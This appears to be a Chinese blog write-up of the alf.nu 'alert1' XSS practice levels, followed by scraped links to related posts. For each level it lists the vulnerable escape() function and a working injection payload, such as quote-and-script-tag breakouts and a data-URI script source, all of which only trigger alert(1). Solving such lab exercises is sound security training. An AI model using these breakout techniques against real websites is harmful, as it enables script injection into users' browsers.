看别人的答案做个一知半解,深感自己能力不足水平有限啊^_^!
 
Warmup
function escape(s) { 
    return '<script>console.log("'+s+'");</script>';
}
 
");alert(1)//
 
Adobe
function escape(s) {  
    s = s.replace(/"/g, '\\"');  
    return '<script>console.log("' + s + '");</script>';
}
我们发现过滤了 ”替换为\"
\");alert(1)//
 
JSON
function escape(s) {  
    s = JSON.stringify(s);  
    return '<script>console.log(' + s + ');</script>';
}
使用JSON.stringify()过滤 "被替换为\",  \被替换为\\
</script><script>alert(1)//
 
JavaScript
function escape(s) {  
    var url = 'javascript:console.log(' + JSON.stringify(s) + ')';  
    console.log(url);  
    var a = document.createElement('a');  
    a.href = url;  document.body.appendChild(a); 
    a.click();
}
 
%22),alert(1)//
 
Markdown
function escape(s) {  
    var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs  
    text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]  
    text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');  return text;
}
 
 
 
DOM
function escape(s) {
    // Slightly too lazy to make two input fields.  
    // Pass in something like "TextNode#foo"  
    var m = s.split(/#/);
 
    // Only slightly contrived at this point.  
    var a = document.createElement('div');  
    a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));  
    return a.innerHTML;
}
 
Comment#><script>alert(1)</script><!
 
 
Callback
function escape(s) {
    // Pass inn "callback#userdata"  
    var thing = s.split(/#/);
 
    if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';  
    var obj = {'userdata': thing[1] };  
    var json = JSON.stringify(obj).replace(/</g, '\\u003c');  
    return "<script>" + thing[0] + "(" + json +")</script>";
}
'#';alert(1)//
 
Skandia
function escape(s) {  return '<script>console.log("' + s.toUpperCase() + '")</script>';}
 
</script><script src=data:text/html,%61%6c%65%72%74(1)>
 
Template
function escape(s) {  
    function htmlEscape(s) {    
        return s.replace(/./g, function(x) {       
            return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": ''' }[x] || x;       
     });
  }  
 
function expandTemplate(template, args) {    
    return template.replace(
        /{(\w+)}/g,
         function(_, n) {
            return htmlEscape(args[n]);
         });
  }
    return expandTemplate(
    "                                                \n\
      <h2>Hello, <span id=name></span>!</h2>         \n\
      <script>                                       \n\
         var v = document.getElementById('name');    \n\
         v.innerHTML = '<a href=#>{name}</a>';       \n\
      <\/script>                                     \n\
    ",
    { name : s }
  );
}
 
 
JSON ][ 
function escape(s) {  
    s = JSON.stringify(s).replace(/<\/script/gi, '');  
    return '<script>console.log(' + s + ');</script>';
}
 
</scr</scriptipt><script>alert(1);//
 
 
Callback ][
function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/);
  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/\//g, '\\/');
  return "<script>" + thing[0] + "(" + json +")</script>";
}
 
'#';alert(1);<!-->
 
 
Skandia ][
function escape(s) {
  if (/[<>]/.test(s)) return '-';
 
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
 
iframe 
function escape(s) {
  var tag = document.createElement('iframe');
 
  // For this one, you get to run any code you want, but in a "sandboxed" iframe.
  //
  // https://4i.am/?...raw=... just outputs whatever you pass in.
  //
  // Alerting from 4i.am won't count.
  s = '<script>' + s + '<\/script>';
  tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw='; + encodeURIComponent(s);
  window.WINNING = function() { youWon = true; };
  tag.setAttribute('onload', 'youWon && alert(1)');
  return tag.outerHTML;
}
????
name="youWon"
 
TI(S)M
function escape(s) {
  function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
  function html(s) { return s.replace(/[<>"&]/g, function(s) {
                        return '&#' + s.charCodeAt(0) + ';'; }); }
  return (
    '<script>' +
      'var url = ' + json(s) + '; // We\'ll use this later ' +
    '</script>\n\n' +
    '  <!-- for debugging -->\n' +
    '  URL: ' + html(s) + '\n\n' +
    '<!-- then suddenly -->\n' +
    '<script>\n' +
    '  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
    '  else new Image().src = url;\n' +
    '</script>'
  );
}
if(alert(1)/*<!--<script>
利用注释/**/ 注释掉代码中间的一个<script>使得头一个<script>向下寻找</script>闭合,其中的代码都被认为是JavaScript代码得到执行
 
JSON Ⅲ
function escape(s) {
  return s.split('#').map(function(v) {
      // Only 20% of slashes are end tags; save 1.2% of total
      // bytes by only escaping those.
      var json = JSON.stringify(v).replace(/<\//g, '<\\/');
      return '<script>console.log('+json+')</script>';
      }).join('');
}
if(alert(1)/*<!--<script>
 

XSS练习平台- https://alf.nu/alert1的更多相关文章

  1. 【CTF WEB】XSS-https://alf.nu/alert1

    XSS练习平台 https://alf.nu/alert1 Warmup 1");alert(1)// Adobe 1");alert(1)// JSON </script& ...

  2. xss练习,alf.nu/alert1,1-12

    觉得自己很菜,故找一些题来做,随便找了下.记一下通关攻略 https://alf.nu/alert1 第一关 题目:warmup function escape(s) { return '<sc ...

  3. 在线xss练习平台

    在线xss练习平台 HTTPS://ALF.NU/ALERT1 这个是只要能输出alert1就算赢. No.1第一个就很简单了,什么都没有过滤,只需要闭合前面的标签就可以执行xss了. 1 " ...

  4. 1.6 xss挑战平台练习

    ------------------------- XSS挑战之旅 ------------------------- 最近在学习xss,找到了一个xss练习平台,在线地址:http://test.x ...

  5. 搭建XSS测试平台

    XSS测试平台是测试XSS漏洞获取cookie并接收web页面的平台,XSS可以做js能做的所有事情,包括但不限于窃取cookie,后台增删文章.钓鱼.利用xss漏洞进行传播.修改网页代码.网站重定向 ...

  6. 微信公众平台HTTPS方式调用配置免费https服务器

    微信公众平台数据传输安全,提高业务安全性,公众平台将不再支持HTTP方式调用.避免影响正常使用中含有HTTP方式调用的服务,请开发者尽快调整,将现有通过HTTP方式调用的切换成HTTPS调用,平台将于 ...

  7. xss challenges平台学习

    虽然在很早之前就接触过xss,有一段时间还就着一本书研究过,但是始终没有实感,掌握的也不够系统,所以现在借着这几个平台再学习一遍 首先来玩一玩xss challenge平台 第一关:http://xs ...

  8. 百度站长平台HTTPS认证所遇到的坑

    坑1: 百度站长平台https认证失败,提示:请确保您网站的所有链接均支持https访问,且未使用不安全协议(如:SSL2.SSL3等协议). 解决办法: 1.  友情链接检查, 要检查所有的友情链接 ...

  9. 公共错误码 - 支付宝开放平台 https://opendocs.alipay.com/open/common/105806

    公共错误码 - 支付宝开放平台 https://opendocs.alipay.com/open/common/105806

随机推荐

  1. 1、Mat类的属性、方法

    Mat类分有两个部分:矩阵头和指向矩阵数据部分的指针 Mat类的属性: rows  矩阵的行数 cols   矩阵的列数 dims  矩阵的维度,例如5*6矩阵是二维矩阵,则dims=2,三维矩阵di ...

  2. 添加Mybatis

  3. http communication process

  4. 洛谷 P2184 贪婪大陆

    题面 又是一类比较套路的题呢? 假如我们的地雷都表示成 [l[i],r[i]] ,要求[L,R],那么就相当于要求满足 (l[i]<=R && r[i]>=L)的i的个数. ...

  5. 位运算(C++)

    C++输出十六进制 #include<iostream> #include<iomanip> using namespace std; int main() { ; ; int ...

  6. mac使用brew安装的PHP替换自带的PHP

    在.zshrc文件后面加上 export PATH="$(brew --prefix homebrew/php/php56)/bin:$PATH"

  7. jQuery属性操作之html属性操作

    jQuery的属性操作, 是对html文档中的属性进行读取.设置和移除操作.比如,attr(). removeAttr(). 1. attr() attr()可以设置属性值或者返回被选元素的属性值 1 ...

  8. WIN7系统TortoiseSVN右键没有菜单解决办法

    TortoiseSVN右键菜单不显示解决办法,亲测有效.其他操作系统解决办法类似,如有问题,给我留言. 百度经验:jingyan.baidu.com 工具/原料   TortoiseSVN 百度经验: ...

  9. Qt DLL总结【二】-创建及调用QT的 DLL

    开发环境:VS2008+Qt4.7.4 最近看了不少Qt的DLL例子,总结一下如何创建和调用QT 动态链接库. 先讲一下对QT动态链接库的调用方法,主要包括: 1.显式链接DLL,调用DLL的全局函数 ...

  10. php中的<?= ?>和<?php ?>有什么区别么?

    <? ?>是短标签<?php ?>是长标签在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?>同 ...